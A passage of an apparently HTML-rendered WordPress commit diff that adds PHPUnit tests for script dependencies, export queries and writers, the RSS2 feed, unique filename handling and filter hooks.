+               $this->assertTrue($dep->query( 'one', 'queue' ));
+               $this->assertTrue($dep->query( 'two', 'queue' ));
+
+               $dep->dequeue('one');
+               $this->assertFalse($dep->query( 'one', 'queue' ));
+               $this->assertTrue($dep->query( 'two', 'queue' ));
+
+               $dep->dequeue('two');
+               $this->assertFalse($dep->query( 'one', 'queue' ));
+               $this->assertFalse($dep->query( 'two', 'queue' ));
+       }
+
+       function test_enqueue_args() {
+               $dep = new WP_Dependencies;
+
+               $this->assertTrue($dep->add( 'one', '' ));
+               $this->assertTrue($dep->add( 'two', '' ));
+
+               $this->assertFalse($dep->query( 'one', 'queue' ));
+               $dep->enqueue('one?arg');
+               $this->assertTrue($dep->query( 'one', 'queue' ));
+               $this->assertFalse($dep->query( 'two', 'queue' ));
+               $this->assertEquals('arg', $dep->args['one']);
+
+               $dep->enqueue('two?arg');
+               $this->assertTrue($dep->query( 'one', 'queue' ));
+               $this->assertTrue($dep->query( 'two', 'queue' ));
+               $this->assertEquals('arg', $dep->args['two']);
+       }
+
+       function test_dequeue_args() {
+               $dep = new WP_Dependencies;
+
+               $this->assertTrue($dep->add( 'one', '' ));
+               $this->assertTrue($dep->add( 'two', '' ));
+
+               $dep->enqueue('one?arg');
+               $dep->enqueue('two?arg');
+               $this->assertTrue($dep->query( 'one', 'queue' ));
+               $this->assertTrue($dep->query( 'two', 'queue' ));
+               $this->assertEquals('arg', $dep->args['one']);
+               $this->assertEquals('arg', $dep->args['two']);
+
+               $dep->dequeue('one');
+               $this->assertFalse($dep->query( 'one', 'queue' ));
+               $this->assertTrue($dep->query( 'two', 'queue' ));
+               $this->assertFalse(isset($dep->args['one']));
+
+               $dep->dequeue('two');
+               $this->assertFalse($dep->query( 'one', 'queue' ));
+               $this->assertFalse($dep->query( 'two', 'queue' ));
+               $this->assertFalse(isset($dep->args['two']));
+       }
+
+       /**
+        * @ticket 21741
+        */
+       function test_query_and_registered_enqueued() {
+               $dep = new WP_Dependencies;
+
+               $this->assertTrue( $dep->add( 'one', '' ) );
+               $this->assertInstanceOf( '_WP_Dependency', $dep->query( 'one' ) );
+               $this->assertInstanceOf( '_WP_Dependency', $dep->query( 'one', 'registered' ) );
+               $this->assertInstanceOf( '_WP_Dependency', $dep->query( 'one', 'scripts' ) );
+
+               $this->assertFalse( $dep->query( 'one', 'enqueued' ) );
+               $this->assertFalse( $dep->query( 'one', 'queue' ) );
+
+               $dep->enqueue( 'one' );
+
+               $this->assertTrue( $dep->query( 'one', 'enqueued' ) );
+               $this->assertTrue( $dep->query( 'one', 'queue' ) );
+
+               $dep->dequeue( 'one' );
+
+               $this->assertFalse( $dep->query( 'one', 'queue' ) );
+               $this->assertInstanceOf( '_WP_Dependency', $dep->query( 'one' ) );
+
+               $dep->remove( 'one' );
+               $this->assertFalse( $dep->query( 'one' ) );
+
+       }
+
+       /**
+        * @ticket 22229
+        */
+       function test_add_deps_should_add_one_string_dep() {
+               $dep = new WP_Dependencies;
+               $dep->add( 'baba', '', array( 'dep0' ) );
+               $dep->add_deps( 'baba', 'new-dep' );
+               $this->assertEquals( array( 'dep0', 'new-dep' ), $dep->query( 'baba' )->deps );
+       }
+
+       /**
+        * @ticket 22229
+        */
+       function test_add_deps_should_merge_deps() {
+               $dep = new WP_Dependencies;
+               $dep->add( 'baba', '', array( 'dep0' ) );
+               $dep->add_deps( 'baba', array( 'new-dep', 'another-dep' ) );
+               $this->assertEquals( array( 'dep0', 'new-dep', 'another-dep' ), $dep->query( 'baba' )->deps );
+       }
+
+       /**
+        * @ticket 22229
+        */
+       function test_add_deps_should_return_false_on_non_string_non_array_deps() {
+               $dep = new WP_Dependencies;
+               $dep->add( 'baba', '', array( 'dep0' ) );
+               $this->assertFalse( $dep->add_deps( 'baba', 5 ) );
+       }
+
+       /**
+        * @ticket 22229
+        */
+       function test_add_deps_should_return_false_on_non_registered_handle() {
+               $dep = new WP_Dependencies;
+               $this->assertFalse( $dep->add_deps( 'baba', 'dep0' ) );
+       }
+}
</ins></span></pre></div>
<a id="trunkteststestsexportclasswpexportqueryphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/export/class-wp-export-query.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/export/class-wp-export-query.php                               (rev 0)
+++ trunk/tests/tests/export/class-wp-export-query.php  2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,248 @@
</span><ins>+<?php
+
+/**
+ * Test WP_Export_Query class
+ *
+ * @group export
+ * @ticket 22435
+ */
+class Test_WP_Export_Query extends WP_UnitTestCase {
+       function test_WP_Export_Query_should_be_initialized_with_an_array() {
+               $export = new WP_Export_Query( array( 'author' => 'all' ) );
+               $this->assertTrue( (bool) $export );
+       }
+
+       function test_WP_Export_Query_should_use_post_ids_if_passed() {
+               $export = new WP_Export_Query( array( 'post_ids' => array( 1, 2, 3 ) ) );
+               $this->assertEquals( array( 1, 2, 3 ), $export->post_ids() );
+       }
+
+       function test_WP_Export_Query_should_filter_all_posts_if_all_arg_is_true() {
+               $post_id = $this->factory->post->create();
+               $export = new WP_Export_Query();
+               $this->assertEquals( array( $post_id ), $export->post_ids() );
+       }
+
+       function test_WP_Export_Query_should_filter_all_posts_if_no_args_passed() {
+               $post_id = $this->factory->post->create();
+               $export = new WP_Export_Query();
+               $this->assertEquals( array( $post_id ), $export->post_ids() );
+       }
+
+       function test_WP_Export_Query_should_not_export_anything_if_post_type_arg_is_set_to_non_existing_post_type() {
+               $post_id = $this->factory->post->create();
+               $export = new WP_Export_Query( array( 'post_type' => 'baba' ) );
+               $this->assertEquals( array(), $export->post_ids() );
+       }
+
+       function test_WP_Export_Query_should_filter_only_posts_with_a_certain_post_type_if_the_post_type_arg_is_set() {
+               register_post_type( 'baba' );
+               $post_id = $this->factory->post->create( array( 'post_type' => 'baba' ) );
+               $_       = $this->factory->post->create( array( 'post_type' => 'dyado' ) );
+               $export = new WP_Export_Query( array( 'post_type' => 'baba' ) );
+               $this->assertEquals( array( $post_id ), $export->post_ids() );
+               _unregister_post_type( 'baba' );
+       }
+
+       function test_WP_Export_Query_should_not_export_post_types_with_can_export_set_to_false() {
+               register_post_type( 'non-exportable', array( 'can_export' => false ) );
+               register_post_type( 'exportable', array( 'can_export' => true ) );
+               $non_exportable_post_id = $this->factory->post->create( array( 'post_type' => 'non-exportable' ) );
+               $exportable_post_id = $this->factory->post->create( array( 'post_type' => 'exportable' ) );
+               $export = new WP_Export_Query();
+               $this->assertEquals( array( $exportable_post_id ), $export->post_ids() );
+               _unregister_post_type( 'non-exportable' );
+               _unregister_post_type( 'exportable' );
+       }
+
+       function test_WP_Export_Query_should_not_export_auto_drafts_by_default() {
+               $post_id = $this->factory->post->create( array( 'post_status' => 'auto-draft' ) );
+               $export = new WP_Export_Query();
+               $this->assertEquals( array(), $export->post_ids() );
+       }
+
+       function test_WP_Export_Query_should_filter_only_posts_with_certain_status_if_status_arg_is_set() {
+               $post_id_baba = $this->factory->post->create( array( 'post_status' => 'baba' ) );
+               $post_id_dudu = $this->factory->post->create( array( 'post_status' => 'dudu' ) );
+               $export = new WP_Export_Query( array( 'status' => 'baba' ) );
+               $this->assertEquals( array( $post_id_baba ), $export->post_ids() );
+       }
+
+       function test_WP_Export_Query_should_filter_only_posts_with_certain_author_id_if_status_arg_is_a_number() {
+               $user_id = $this->factory->user->create();
+               $post_by_user = $this->factory->post->create( array( 'post_author' => $user_id ) );
+               $other_post = $this->factory->post->create( array( 'post_author' => $user_id + 1 ) );
+               $export = new WP_Export_Query( array( 'author' => $user_id ) );
+               $this->assertEquals( array( $post_by_user ), $export->post_ids() );
+       }
+
+       function test_WP_Export_Query_should_filter_only_posts_with_certain_author_name_if_status_arg_is_a_username() {
+               $user = $this->factory->user->create_and_get( array( 'user_login' => 'baba' ) );
+               $post_by_user = $this->factory->post->create( array( 'post_author' => $user->ID ) );
+               $other_post = $this->factory->post->create( array( 'post_author' => $user->ID + 1 ) );
+               $export = new WP_Export_Query( array( 'author' => 'baba' ) );
+               $this->assertEquals( array( $post_by_user ), $export->post_ids() );
+       }
+
+       function test_WP_Export_Query_should_filter_only_posts_with_certain_author_object_if_author_is_an_object_with_ID_member_variable() {
+               $user = $this->factory->user->create_and_get();
+               $post_by_user = $this->factory->post->create( array( 'post_author' => $user->ID ) );
+               $other_post = $this->factory->post->create( array( 'post_author' => $user->ID + 1 ) );
+               $export = new WP_Export_Query( array( 'author' => $user ) );
+               $this->assertEquals( array( $post_by_user ), $export->post_ids() );
+       }
+
+       function test_WP_Export_Query_should_filter_only_posts_after_certain_start_date_if_start_date_arg_is_passed() {
+               $post_before = $this->factory->post->create( array( 'post_date' => '2012-11-10 23:59:59' ) );
+               $post_after = $this->factory->post->create( array( 'post_date' => '2012-11-11 00:00:00' ) );
+               $export = new WP_Export_Query( array( 'start_date' => '2012-11-11' ) );
+               $this->assertEquals( array( $post_after ), $export->post_ids() );
+       }
+
+       function test_WP_Export_Query_should_filter_only_posts_after_certain_end_date_if_end_date_arg_is_passed() {
+               $post_before = $this->factory->post->create( array( 'post_date' => '2012-11-10 23:59:59' ) );
+               $post_after = $this->factory->post->create( array( 'post_date' => '2012-11-11 00:00:00' ) );
+               $export = new WP_Export_Query( array( 'end_date' => '2012-11-10' ) );
+               $this->assertEquals( array( $post_before ), $export->post_ids() );
+       }
+
+       function test_WP_Export_Query_should_filter_only_posts_with_certain_category_if_category_arg_is_passed() {
+               $category_id = $this->factory->category->create( array( 'name' => 'baba' ) );
+               $post_with_category = $this->factory->post->create( array( 'post_category' => array( $category_id ) ) );
+               $post_without = $this->factory->post->create();
+               $export = new WP_Export_Query( array( 'post_type' => 'post', 'category' => 'baba' ) );
+               $this->assertEquals( array( $post_with_category ), $export->post_ids() );
+       }
+
+       function test_WP_Export_Query_should_filter_only_posts_with_certain_category_id_if_category_arg_is_passed() {
+               $category_id = $this->factory->category->create( array( 'name' => 'baba' ) );
+               $post_with_category = $this->factory->post->create( array( 'post_category' => array( $category_id ) ) );
+               $post_without = $this->factory->post->create();
+               $export = new WP_Export_Query( array( 'post_type' => 'post', 'category' => $category_id ) );
+               $this->assertEquals( array( $post_with_category ), $export->post_ids() );
+       }
+
+       function test_WP_Export_Query_should_filter_posts_by_category_only_for_post_post_type() {
+               $category_id = $this->factory->category->create( array( 'name' => 'baba' ) );
+               $post_with_category = $this->factory->post->create( array( 'post_category' => array( $category_id ) ) );
+               $post_without = $this->factory->post->create();
+               $different_post_type = $this->factory->post->create( array( 'post_type' => 'page' ) );
+               $export = new WP_Export_Query( array( 'category' => $category_id ) );
+               $this->assertEqualSets( array( $post_with_category, $post_without, $different_post_type ), $export->post_ids() );
+       }
+
+       function test_WP_Export_Query_should_include_attachments_of_posts_if_we_are_filtering_only_some_post_types() {
+               register_post_type( 'baba' );
+               $post_id = $this->factory->post->create( array( 'post_type' => 'baba' ) );
+               $attachment_post_id = $this->factory->post->create( array( 'post_type' => 'attachment', 'post_parent' => $post_id ) );
+               $export = new WP_Export_Query( array( 'post_type' => 'baba' ) );
+               $this->assertEquals( array( $post_id, $attachment_post_id ), $export->post_ids() );
+               _unregister_post_type( 'baba' );
+       }
+
+       function test_authors_should_return_list_of_users_for_each_post_author() {
+               $user_id = $this->factory->user->create();
+               $this->factory->post->create( array( 'post_author' => $user_id ) );
+               $export = new WP_Export_Query();
+               $authors = $export->authors();
+               $this->assertEquals( 1, count( $authors ) );
+               $this->assertEquals( $user_id, $authors[0]->ID );
+       }
+
+       function test_authors_should_skip_non_existing_authors() {
+               $this->factory->post->create( array( 'post_author' => 11 ) );
+               $export = new WP_Export_Query();
+               $this->assertEquals( array(), $export->authors() );
+       }
+
+       function test_authors_should_skip_auto_draft_authors() {
+               $user_id = $this->factory->user->create();
+               $this->factory->post->create( array( 'post_author' => $user_id, 'post_status' => 'auto-draft' ) );
+               $export = new WP_Export_Query();
+               $this->assertEquals( array(), $export->authors() );
+       }
+
+       function test_categories_should_return_only_the_category_we_are_filtering_on() {
+               $category_id = $this->factory->category->create( array( 'name' => 'baba' ) );
+               $other_category_id = $this->factory->category->create( array( 'name' => 'dyado' ) );
+               $export = new WP_Export_Query( array( 'post_type' => 'post', 'category' => $category_id ) );
+               $this->assertEquals( 1, count( $export->categories() ) );
+       }
+
+       function test_categories_should_return_no_categories_if_we_are_requesting_only_one_post_type() {
+               $category_id = $this->factory->category->create();
+               $export = new WP_Export_Query( array( 'post_type' => 'post' ) );
+               $this->assertEquals( array(), $export->categories() );
+       }
+
+       function test_categories_should_return_all_categories_if_we_are_requesting_all_post_types() {
+               $category_id = $this->factory->category->create();
+               $another_category_id = $this->factory->category->create();
+               $export = new WP_Export_Query();
+               $this->assertEqualSets( array( 1, $category_id, $another_category_id ), self::get_term_ids( $export->categories() ) );
+       }
+
+       function test_categories_should_not_return_a_child_before_its_parent_category() {
+               $child_category_id = $this->factory->category->create();
+               $top_category_id = $this->factory->category->create();
+               wp_update_term( $child_category_id, 'category', array( 'parent' => $top_category_id ) );
+               $export = new WP_Export_Query();
+               $this->assertNoChildBeforeParent( $export->categories() );
+       }
+
+       function test_tags_should_return_all_tags() {
+               $tag_id = $this->factory->tag->create();
+               $export = new WP_Export_Query();
+               $this->assertEquals( array( $tag_id ), self::get_term_ids( $export->tags() ) );
+       }
+
+       function test_tags_should_return_no_tags_if_we_are_requesting_only_one_post_type() {
+               $category_id = $this->factory->tag->create();
+               $export = new WP_Export_Query( array( 'post_type' => 'post' ) );
+               $this->assertEquals( array(), $export->tags() );
+       }
+
+       function test_custom_taxonomies_terms_should_return_all_terms() {
+               register_taxonomy( 'taxonomy_all', 'post' );
+               $term_id = $this->factory->term->create( array( 'taxonomy' => 'taxonomy_all' ) );
+               $export = new WP_Export_Query();
+               $this->assertEquals( array( $term_id ), self::get_term_ids( $export->custom_taxonomies_terms() ) );
+               _unregister_taxonomy( 'taxonomy_all' );
+       }
+
+       function test_custom_taxonomes_terms_should_return_no_terms_if_we_are_requesting_only_one_post_type() {
+               register_taxonomy( 'taxonomy_one_post_type', 'post' );
+               $term_id = $this->factory->term->create( array( 'taxonomy' => 'taxonomy_one_post_type' ) );
+               $export = new WP_Export_Query( array( 'post_type' => 'post' ) );
+               $this->assertEquals( array(), $export->custom_taxonomies_terms() );
+               _unregister_taxonomy( 'taxonomy_one_post_type' );
+       }
+
+       function test_custom_taxonomies_terms_should_not_return_a_child_before_its_parent_term() {
+               register_taxonomy( 'heir', 'post', array( 'hierarchical' => true ) );
+               $child_term_id = $this->factory->term->create( array( 'taxonomy' => 'heir' ) );
+               $top_term_id = $this->factory->term->create( array( 'taxonomy' => 'heir' ) );
+               wp_update_term( $child_term_id, 'heir', array( 'parent' => $top_term_id ) );
+               $export = new WP_Export_Query();
+               $this->assertNoChildBeforeParent( $export->custom_taxonomies_terms() );
+               _unregister_taxonomy( 'heir' );
+       }
+
+       private function assertNoChildBeforeParent( $terms ) {
+               $visited = array();
+               foreach( $terms as $term ) {
+                       $this->assertTrue( isset( $visited[$term->parent] ) || !$term->parent );
+                       $visited[$term->term_id] = true;
+               }
+       }
+
+       private static function get_term_ids( $terms ) {
+               return array_values( array_map( array( __CLASS__, '_get_term_ids_cb' ), $terms ) );
+       }
+
+       private static function _get_term_ids_cb( $c ) {
+               return intval( $c->term_id );
+       }
+
+}
+
</ins></span></pre></div>
<a id="trunkteststestsexportfunctionsexportphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/export/functions.export.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/export/functions.export.php                            (rev 0)
+++ trunk/tests/tests/export/functions.export.php       2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,35 @@
</span><ins>+<?php
+
+/**
+ * Test export functions
+ *
+ * @group export
+ * @ticket 22435
+ */
+class Test_WP_Export_Functions extends WP_UnitTestCase {
+       function test_wp_export_returns_wp_error_if_the_writer_throws_Export_exception() {
+               $this->assertTrue( is_wp_error( wp_export( array( 'writer' => 'Test_WP_Export_Stub_Writer_Throws_Export_Exception' ) ) ) );
+       }
+
+       function test_wp_export_passes_the_exception_if_the_writer_throws_other_exception() {
+               $this->setExpectedException( 'Exception' );
+               wp_export( array( 'writer' => 'Test_WP_Export_Stub_Writer_Throws_Other_Exception' ) );
+       }
+
+}
+
+class Test_WP_Export_Stub_Writer_Throws_Export_Exception {
+       function __construct( $formatter ) {
+       }
+       function export() {
+               throw new WP_Export_Exception( 'baba' );
+       }
+}
+
+class Test_WP_Export_Stub_Writer_Throws_Other_Exception {
+       function __construct( $formatter ) {
+       }
+       function export() {
+               throw new Exception( 'baba' );
+       }
+}
</ins></span></pre></div>
<a id="trunkteststestsexportwritersphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/export/writers.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/export/writers.php                             (rev 0)
+++ trunk/tests/tests/export/writers.php        2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,25 @@
</span><ins>+<?php
+
+/**
+ * Test WP_Export_*_Writer classes
+ *
+ * @group export
+ * @ticket 22435
+ */
+class Test_WP_Export_Writers extends WP_UnitTestCase {
+       function test_export_returner_returns_all_the_return_values() {
+               $returner = new WP_Export_Returner( $this->get_x_formatter() );
+               $this->assertEquals( 'xxx' , $returner->export() );
+       }
+
+       private function get_x_formatter() {
+               $methods = array( 'before_posts', 'posts', 'after_posts' );
+               $formatter = $this->getMock( 'WP_Export_WXR_Formatter', $methods, array( null ) );
+               foreach( $methods as $method ) {
+                       $return = 'posts' == $method? array( 'x' ) : 'x';
+                       $formatter->expects( $this->once() )->method( $method )->with()->will( $this->returnValue( $return ) );
+               }
+               return $formatter;
+       }
+}
+
</ins></span></pre></div>
<a id="trunkteststestsfeedrss2php"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/feed/rss2.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/feed/rss2.php                          (rev 0)
+++ trunk/tests/tests/feed/rss2.php     2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,147 @@
</span><ins>+<?php
+
+/**
+ * test the RSS 2.0 feed by generating a feed, parsing it, and checking that the
+ * parsed contents match the contents of the posts stored in the database.  Since
+ * we're using a real XML parser, this confirms that the feed is valid, well formed,
+ * and contains the right stuff.
+ *
+ * @group feed
+ */
+class Tests_Feed_RSS2 extends WP_UnitTestCase {
+
+       function setUp() {
+               parent::setUp();
+
+               $this->factory->post->create_many( 25 );
+
+               $this->post_count = get_option('posts_per_rss');
+               $this->excerpt_only = get_option('rss_use_excerpt');
+               // this seems to break something
+               update_option('use_smilies', false);
+       }
+
+       function do_rss2() {
+               ob_start();
+               // nasty hack
+               global $post;
+               try {
+                       @require(ABSPATH . 'wp-includes/feed-rss2.php');
+                       $out = ob_get_clean();
+               } catch (Exception $e) {
+                       $out = ob_get_clean();
+                       throw($e);
+               }
+               return $out;
+       }
+
+       function test_rss() {
+               $this->go_to('/feed/');
+               $feed = $this->do_rss2();
+               $xml = xml_to_array($feed);
+
+               // get the rss element
+               $rss = xml_find($xml, 'rss');
+
+               // there should only be one rss element
+               $this->assertEquals(1, count($rss));
+
+               $this->assertEquals('2.0', $rss[0]['attributes']['version']);
+               $this->assertEquals('http://purl.org/rss/1.0/modules/content/', $rss[0]['attributes']['xmlns:content']);
+               $this->assertEquals('http://wellformedweb.org/CommentAPI/', $rss[0]['attributes']['xmlns:wfw']);
+               $this->assertEquals('http://purl.org/dc/elements/1.1/', $rss[0]['attributes']['xmlns:dc']);
+
+               // rss should have exactly one child element (channel)
+               $this->assertEquals(1, count($rss[0]['child']));
+       }
+
+       function test_channel() {
+               $this->go_to('/feed/');
+               $feed = $this->do_rss2();
+               $xml = xml_to_array($feed);
+
+               // get the rss -> channel element
+               $channel = xml_find($xml, 'rss', 'channel');
+
+               $this->assertTrue(empty($channel[0]['attributes']));
+
+               $title = xml_find($xml, 'rss', 'channel', 'title');
+               $this->assertEquals(get_option('blogname'), $title[0]['content']);
+
+               $desc = xml_find($xml, 'rss', 'channel', 'description');
+               $this->assertEquals(get_option('blogdescription'), $desc[0]['content']);
+
+               $link = xml_find($xml, 'rss', 'channel', 'link');
+               $this->assertEquals(get_option('siteurl'), $link[0]['content']);
+
+               $pubdate = xml_find($xml, 'rss', 'channel', 'lastBuildDate');
+               $this->assertEquals(strtotime(get_lastpostmodified()), strtotime($pubdate[0]['content']));
+       }
+
+       /**
+        * @ticket UT32
+        */
+       function test_items() {
+               $this->go_to('/feed/');
+               $feed = $this->do_rss2();
+               $xml = xml_to_array($feed);
+
+               // get all the rss -> channel -> item elements
+               $items = xml_find($xml, 'rss', 'channel', 'item');
+               $posts = get_posts('numberposts='.$this->post_count);
+
+               // check each of the items against the known post data
+               for ($i=0; $i < $this->post_count; $i++) {
+
+                       // title
+                       $title = xml_find($items[$i]['child'], 'title');
+                       $this->assertEquals($posts[$i]->post_title, $title[0]['content']);
+
+                       // link
+                       $link = xml_find($items[$i]['child'], 'link');
+                       $this->assertEquals(get_permalink($posts[$i]->ID), $link[0]['content']);
+
+                       // comment link
+                       $comments_link = xml_find($items[$i]['child'], 'comments');
+                       $this->assertEquals(get_permalink($posts[$i]->ID) . '#comments', $comments_link[0]['content']);
+
+                       // pub date
+                       $pubdate = xml_find($items[$i]['child'], 'pubDate');
+                       $this->assertEquals(strtotime($posts[$i]->post_date), strtotime($pubdate[0]['content']));
+
+                       // author
+                       $creator = xml_find($items[$i]['child'], 'dc:creator');
+                       $this->assertEquals($this->author->user_nicename, $creator[0]['content']);
+
+                       // categories (perhaps multiple)
+                       $categories = xml_find($items[$i]['child'], 'category');
+                       $cat_ids = wp_get_post_categories($post->ID);
+                       if (empty($cat_ids))    $cat_ids = array(1);
+                       // should be the same number of categories
+                       $this->assertEquals(count($cat_ids), count($categories));
+                       // ..with the same names
+                       for ($j=0; $j < count($cat_ids); $j++)
+                               $this->assertEquals(get_cat_name($cat_ids[$j]), $categories[$j]['content']);
+
+                       // GUID
+                       $guid = xml_find($items[$i]['child'], 'guid');
+                       $this->assertEquals('false', $guid[0]['attributes']['isPermaLink']);
+                       $this->assertEquals($posts[$i]->guid, $guid[0]['content']);
+
+                       // description/excerpt
+                       $description = xml_find($items[$i]['child'], 'description');
+                       $this->assertEquals(trim($posts[$i]->post_excerpt), trim($description[0]['content']));
+
+                       // post content
+                       if (!$this->excerpt_only) {
+                               $content = xml_find($items[$i]['child'], 'content:encoded');
+                               $this->assertEquals(trim(apply_filters('the_content', $posts[$i]->post_content)), trim($content[0]['content']));
+                       }
+
+                       // comment rss
+                       $comment_rss = xml_find($items[$i]['child'], 'wfw:commentRss');
+                       $this->assertEquals(html_entity_decode(get_post_comments_feed_link($posts[$i]->ID)), $comment_rss[0]['content']);
+               }
+
+       }
+}
</ins></span></pre></div>
<a id="trunkteststestsfilephp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/file.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/file.php                               (rev 0)
+++ trunk/tests/tests/file.php  2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,155 @@
</span><ins>+<?php
+
+/**
+ * @group file
+ */
+class Tests_File extends WP_UnitTestCase {
+
+       function setUp() {
+               parent::setUp();
+               $this->dir = dirname(tempnam('/tmp', 'foo'));
+
+               $this->badchars = '"\'[]*&?$';
+       }
+
+       /**
+        * @group plugins
+        * @group themes
+        */
+       function test_get_file_data() {
+               $theme_headers = array(
+                       'Name' => 'Theme Name',
+                       'ThemeURI' => 'Theme URI',
+                       'Description' => 'Description',
+                       'Version' => 'Version',
+                       'Author' => 'Author',
+                       'AuthorURI' => 'Author URI',
+               );
+
+               $actual = get_file_data( DIR_TESTDATA . '/themedir1/default/style.css', $theme_headers );
+
+               $expected = array(
+                       'Name' => 'WordPress Default',
+                       'ThemeURI' => 'http://wordpress.org/',
+                       'Description' => 'The default WordPress theme based on the famous <a href="http://binarybonsai.com/kubrick/">Kubrick</a>.',
+                       'Version' => '1.6',
+                       'Author' => 'Michael Heilemann',
+                       'AuthorURI' => 'http://binarybonsai.com/',
+               );
+
+               foreach ( $actual as $header => $value )
+                       $this->assertEquals( $expected[ $header ], $value, $header );
+       }
+
+       /**
+        * @group plugins
+        * @group themes
+        */
+       function test_get_file_data_cr_line_endings() {
+               $headers = array( 'SomeHeader' => 'Some Header', 'Description' => 'Description', 'Author' => 'Author' );
+               $actual = get_file_data( DIR_TESTDATA . '/formatting/cr-line-endings-file-header.php', $headers );
+               $expected = array(
+                       'SomeHeader' => 'Some header value!',
+                       'Description' => 'This file is using CR line endings for a testcase.',
+                       'Author' => 'A Very Old Mac',
+               );
+
+               foreach ( $actual as $header => $value )
+                       $this->assertEquals( $expected[ $header ], $value, $header );
+       }
+
+       function is_unique_writable_file($path, $filename) {
+               $fullpath = $path . DIRECTORY_SEPARATOR . $filename;
+
+               $fp = fopen( $fullpath, 'x' );
+               // file already exists?
+               if (!$fp)
+                       return false;
+
+               // write some random contents
+               $c = rand_str();
+               fwrite($fp, $c);
+               fclose($fp);
+
+               if ( file_get_contents($fullpath) === $c )
+                       $result = true;
+               else
+                       $result = false;
+
+               return $result;
+       }
+
+       function test_unique_filename_is_valid() {
+               // make sure it produces a valid, writable, unique filename
+               $filename = wp_unique_filename( $this->dir, rand_str() . '.txt' );
+
+               $this->assertTrue( $this->is_unique_writable_file($this->dir, $filename) );
+
+               unlink($this->dir . DIRECTORY_SEPARATOR . $filename);
+       }
+
+       function test_unique_filename_is_unique() {
+               // make sure it produces two unique filenames
+               $name = rand_str();
+
+               $filename1 = wp_unique_filename( $this->dir, $name . '.txt' );
+               $this->assertTrue( $this->is_unique_writable_file($this->dir, $filename1) );
+               $filename2 = wp_unique_filename( $this->dir, $name . '.txt' );
+               $this->assertTrue( $this->is_unique_writable_file($this->dir, $filename2) );
+
+               // the two should be different
+               $this->assertNotEquals( $filename1, $filename2 );
+
+               unlink($this->dir . DIRECTORY_SEPARATOR . $filename1);
+               unlink($this->dir . DIRECTORY_SEPARATOR . $filename2);
+       }
+
+       function test_unique_filename_is_sanitized() {
+               $name = rand_str();
+               $filename = wp_unique_filename( $this->dir, $name . $this->badchars .  '.txt' );
+
+               // make sure the bad characters were all stripped out
+               $this->assertEquals( $name . '.txt', $filename );
+
+               $this->assertTrue( $this->is_unique_writable_file($this->dir, $filename) );
+
+               unlink($this->dir . DIRECTORY_SEPARATOR . $filename);
+       }
+
+       function test_unique_filename_with_slashes() {
+               $name = rand_str();
+               // "foo/foo.txt"
+               $filename = wp_unique_filename( $this->dir, $name . '/' . $name .  '.txt' );
+
+               // the slash should be removed, i.e. "foofoo.txt"
+               $this->assertEquals( $name . $name . '.txt', $filename );
+
+               $this->assertTrue( $this->is_unique_writable_file($this->dir, $filename) );
+
+               unlink($this->dir . DIRECTORY_SEPARATOR . $filename);
+       }
+
+       function test_unique_filename_multiple_ext() {
+               $name = rand_str();
+               $filename = wp_unique_filename( $this->dir, $name . '.php.txt' );
+
+               // "foo.php.txt" becomes "foo.php_.txt"
+               $this->assertEquals( $name . '.php_.txt', $filename );
+
+               $this->assertTrue( $this->is_unique_writable_file($this->dir, $filename) );
+
+               unlink($this->dir . DIRECTORY_SEPARATOR . $filename);
+       }
+
+       function test_unique_filename_no_ext() {
+               $name = rand_str();
+               $filename = wp_unique_filename( $this->dir, $name );
+
+               $this->assertEquals( $name, $filename );
+
+               $this->assertTrue( $this->is_unique_writable_file($this->dir, $filename) );
+
+               unlink($this->dir . DIRECTORY_SEPARATOR . $filename);
+       }
+
+}
</ins></span></pre></div>
<a id="trunkteststestsfiltersphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/filters.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/filters.php                            (rev 0)
+++ trunk/tests/tests/filters.php       2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,266 @@
</span><ins>+<?php
+
+/**
+ * Test apply_filters() and related functions
+ *
+ * @group hooks
+ */
+class Tests_Filters extends WP_UnitTestCase {
+
+       function test_simple_filter() {
+               $a = new MockAction();
+               $tag = rand_str();
+               $val = rand_str();
+
+               add_filter($tag, array(&$a, 'filter'));
+               $this->assertEquals($val, apply_filters($tag, $val));
+
+               // only one event occurred for the hook, with empty args
+               $this->assertEquals(1, $a->get_call_count());
+               // only our hook was called
+               $this->assertEquals(array($tag), $a->get_tags());
+
+               $args = array_pop($a->get_args());
+               $this->assertEquals(array($val), $args);
+       }
+
+       function test_remove_filter() {
+               $a = new MockAction();
+               $tag = rand_str();
+               $val = rand_str();
+
+               add_filter($tag, array(&$a, 'filter'));
+               $this->assertEquals($val, apply_filters($tag, $val));
+
+               // make sure our hook was called correctly
+               $this->assertEquals(1, $a->get_call_count());
+               $this->assertEquals(array($tag), $a->get_tags());
+
+               // now remove the filter, do it again, and make sure it's not called this time
+               remove_filter($tag, array(&$a, 'filter'));
+               $this->assertEquals($val, apply_filters($tag, $val));
+               $this->assertEquals(1, $a->get_call_count());
+               $this->assertEquals(array($tag), $a->get_tags());
+
+       }
+
+       function test_has_filter() {
+                       $tag = rand_str();
+                       $func = rand_str();
+
+                       $this->assertFalse( has_filter($tag, $func) );
+                       $this->assertFalse( has_filter($tag) );
+                       add_filter($tag, $func);
+                       $this->assertEquals( 10, has_filter($tag, $func) );
+                       $this->assertTrue( has_filter($tag) );
+                       remove_filter($tag, $func);
+                       $this->assertFalse( has_filter($tag, $func) );
+                       $this->assertFalse( has_filter($tag) );
+       }
+
